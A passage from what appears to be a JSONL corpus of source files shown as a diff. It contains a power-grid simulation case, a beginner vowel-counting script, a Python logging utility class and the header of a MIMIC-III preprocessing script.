-0.0585]]\n ]\n\n # Sets of generators and loads from the set of all devices.\n gens = (case[\"gen\"][:,1]>0.0).nonzero()[0]\n loads = (case[\"gen\"][:,1]<0.0).nonzero()[0]\n\n # Determine subset of considered flexible services of loads given the flex lvl parameter.\n N_flex = len(flex_conso)\n flex_steps = {\n 'NONE':[], # 0\n 'LOW':range(0,N_flex,5), # 11\n 'MEDIUM':range(0,N_flex,5)+range(1,N_flex,5), # 22\n 'HIGH':range(0,N_flex,5)+range(1,N_flex,5)+range(2,N_flex,5), # 33\n 'VERY HIGH': range(0,N_flex,5)+range(1,N_flex,5)+range(2,N_flex,5)+range(3,N_flex,5), # 43\n 'FULL':range(53)\n }\n case[\"flex\"] = []\n for k in flex_steps[flex_level]:\n case[\"flex\"] += [flex_conso[k]]\n\n # Define the curtailment services for wind generators.\n curt_price = array([45., 38., 35., 31., 30., 34., 41., 48., 53., 55., 56.,\n 57., 54., 51., 47., 46., 47., 52., 59., 60., 54., 52.,\n 51., 49.])\n for gen in gens[-6:]:\n case[\"flex\"] += [[2, gen, lambda real_time, price_time: curt_price[ceil((price_time-1)/4)]]]\n\n # Define the stochastic models describing the consumption of loads and the production of generators.\n load_scales = array([0.4285, 0.4505, 0.3325, 0.3995, 0.4155, 0.4395, 0.3585,\n 0.405 , 0.083 , 0.443 , 0.36 , 0.3905, 0.4515, 0.575 ,\n 0.592 , 0.5625, 0.4605, 0.3445, 0.3775, 0.357 , 0.578 ,\n 0.404 , 0.6275, 0.5865, 0.4015, 0.383 , 0.4625, 0.395 ,\n 0.584 , 0.4965, 0.6195, 0.5825, 0.5695, 0.279 , 0.299 ,\n 0.3145, 0.302 , 0.26 , 0.493 , 0.2825, 0.3235, 0.3045,\n 0.2835, 0.3005, 0.5495, 0.198 , 0.5225, 0.194 , 0.506 ,\n 0.17 , 0.54 , 0.244 , 0.443 ])\n pv_scales = 1.e-6*array([ 318., 412., 318., 412., 318., 412., 320., 320., 80.,\n 404., 346., 346., 346., 518., 518., 520., 520., 346.,\n 346., 346., 518., 518., 520., 520., 352., 354., 354.,\n 354., 528., 532., 532., 532., 532., 278., 280., 280.,\n 280., 280., 280., 280., 280., 280., 280., 280., 458.,\n 180., 462., 182., 462., 182., 462., 182., 462.])\n case[\"power\"] = []\n for load, scale in zip(loads, load_scales):\n case[\"power\"] += [[load, LoadSampler(scale)]] # Dev id, callable\n for gen, scale in zip(gens[:-6],pv_scales):\n case[\"power\"] += [[gen, lambda ir, ws, scale=scale: scale*ir]] # Dev id, callable\n for gen in gens[-6:]:\n case[\"power\"] += [[gen, lambda ir, ws: (9.0/6.0)*min(0.015*(ws-3.5)**3,3.0)*(ws>=3.5)*(ws<=25)]] # Dev id, callable\n\n return case\n", "source": "qgemine/anm", "license": "MIT"}
+{"text": "#In this program it will tell How many vowels are there in total\nuserInput=\"\";\nprint(\"Enter the name to calculate the number of volwels you wanted to know :\");\nUserInput=input();\ncount=0;\nfor i in UserInput:\n if(i=='a' or i=='e' or i=='o' or i=='u'):\n count=count+1;\n\nprint(\"The number of vowels entered in your name are:\\n\" +str(count));\n\n#Vowels are printed in a unique way. If there are two 'a's it doesnt count\n \n", "source": "anayakoti/FirstSample", "license": "bzip2-1.0.6"}
+{"text": "from __future__ import annotations\n\nfrom typing import Any, Optional\nimport getpass\n\nfrom maybe import Maybe\nfrom subtypes import DateTime, Str\nfrom pathmagic import File, Dir, PathLike\nfrom miscutils import StreamReplacerMixin\n\nfrom .console import Console\n\n\nclass Log:\n \"\"\"\n A log class intended to provide a cookie-cutter alternative to the logging module, which allows for much less custimization, but also requires less setup.\n This log has a concept of being active/inactive. A deactivated log will do nothing when written to. The first time it is activated it will log the current time and user.\n When used as a context manager, the log will activate upon entering, and deactivate upon exiting.\n \"\"\"\n\n def __init__(self, path: PathLike) -> None:\n self._path, self.user = path, getpass.getuser()\n self._active = self._initialized = False\n self.file: Optional[File] = None\n\n def __repr__(self) -> str:\n return f\"{type(self).__name__}({', '.join([f'{attr}={repr(val)}' for attr, val in self.__dict__.items() if not attr.startswith('_')])})\"\n\n def __enter__(self) -> Log:\n self.activate()\n return self\n\n def __exit__(self, ex_type: Any, ex_value: Any, ex_traceback: Any) -> None:\n self.deactivate()\n self.post_process()\n\n @property\n def active(self) -> bool:\n \"\"\"Set whether this log is active/inactive. A deactivated log will do nothing when written to.\"\"\"\n return self._active\n\n @active.setter\n def active(self, val: bool) -> None:\n (self.activate if val else self.deactivate)()\n\n def activate(self) -> None:\n \"\"\"Activate this log.\"\"\"\n if self._path is not None:\n if not self._initialized:\n self._initialize()\n\n self._active = True\n\n def deactivate(self) -> None:\n \"\"\"Deactivate this log. A deactivated log will do nothing when written to.\"\"\"\n self._active = False\n\n def write(self, text: str, add_newlines: int = 2) -> None:\n \"\"\"Write the given text this log, optionally appending newlines.\"\"\"\n if self.active:\n br = \"\\n\"\n self.file.content += f\"{text}{br*add_newlines}\"\n\n def write_delimiter(self, length: int = 200, add_newlines: int = 2) -> None:\n \"\"\"Write a delimiter of hyphens to this log, optionally appending newlines.\"\"\"\n if self.active:\n br = \"\\n\"\n self.file.content += f\"{'-'*length}{br*add_newlines}\"\n\n def start(self) -> None:\n \"\"\"Start this log's file using the default application for this type of file.\"\"\"\n self.file.start()\n\n def post_process(self) -> None:\n pass\n\n def _initialize(self) -> None:\n self.file = File(self._path)\n\n if self.file.content:\n self.file.append(f\"{'-' * 200}\\n\")\n self.file.append(f\"-- Process run by user: {self.user} at: {DateTime.now()}\\n\\n\")\n\n self._initialized = True\n\n @classmethod\n def from_details(cls, log_name: str, file_extension: str = \"txt\", log_dir: PathLike = None, active: bool = True) -> Log:\n \"\"\"Create a new Log from the given arguments.\"\"\"\n default_log_dir = Dir.from_home().d.documents.new_dir(\"Python\").new_dir(\"logs\")\n logdir = Dir.from_pathlike(Maybe(log_dir).else_(default_log_dir))\n file = logdir.new_file(f\"{DateTime.today().to_filetag()}_{log_name}\", file_extension)\n\n return cls(file)\n\n\nclass PrintLog(Log, StreamReplacerMixin):\n \"\"\"A subclass of miscutils.Log directed at capturing the sys.stdout stream and logging it, in addition to still writing to sys.stdout (though this can be controlled with arguments).\"\"\"\n\n def __init__(self, path: PathLike, active: bool = True, to_stream: bool = True, to_file: bool = True) -> None:\n super().__init__(path=path)\n self.to_stream, self.to_file = to_stream, to_file\n\n def __call__(self, to_stream: bool = True, to_file: bool = True) -> PrintLog:\n self.to_stream, self.to_file = to_stream, to_file\n return self\n\n def __enter__(self) -> PrintLog:\n super().__enter__()\n StreamReplacerMixin.__enter__(self)\n return self\n\n def __exit__(self, ex_type: Any, ex_value: Any, ex_traceback: Any) -> None:\n super().__exit__(ex_type=ex_type, ex_value=ex_value, ex_traceback=ex_traceback)\n StreamReplacerMixin.__exit__(self, ex_type=ex_type, ex_value=ex_value, ex_traceback=ex_traceback)\n\n def write(self, text: str, to_stream: bool = None, to_file: bool = None, add_newlines: int = 0) -> None:\n \"\"\"Write the given text to this log's file and to sys.stdout, based on the 'to_console' and 'to_file' attributes set by the constructor. These attributes can be overriden by the arguments in this call.\"\"\"\n if Maybe(to_stream).else_(self.to_stream):\n self.stream.write(text + \"\\n\"*add_newlines)\n\n if Maybe(to_file).else_(self.to_file):\n super().write(text, add_newlines=add_newlines)\n\n def post_process(self) -> None:\n if (clear_line := f\"{Console.UP_ONE_LINE}{Console.CLEAR_CURRENT_LINE}\") in (text := self.file.content):\n lines, escaped_clear_line, out_lines, skip_counter = reversed(text.split(\"\\n\")), Str(clear_line).re.escape(), [], 0\n for index, line in enumerate(lines):\n num_to_clear = line.count(clear_line)\n if skip_counter:\n skip_counter -= 1\n else:\n out_lines.append(Str(line).slice.after_last(escaped_clear_line) if num_to_clear else line)\n\n if num_to_clear:\n skip_counter = max([skip_counter, num_to_clear])\n\n self.file.content = \"\\n\".join(reversed(out_lines))\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
+{"text": "# This script processes MIMIC-III dataset and builds longitudinal diagnosis records for patients with at least two visits.\n# The output data are cPickled, and suitable for training Doctor AI or RETAIN\n# Written by Edward Choi (mp2893@gatech.edu)\n# Usage: Put this script to the foler where MIMIC-III CSV files are located. Then execute the below command.\n# python process_mimic.py ADMISSIONS.csv DIAGNOSES_ICD.csv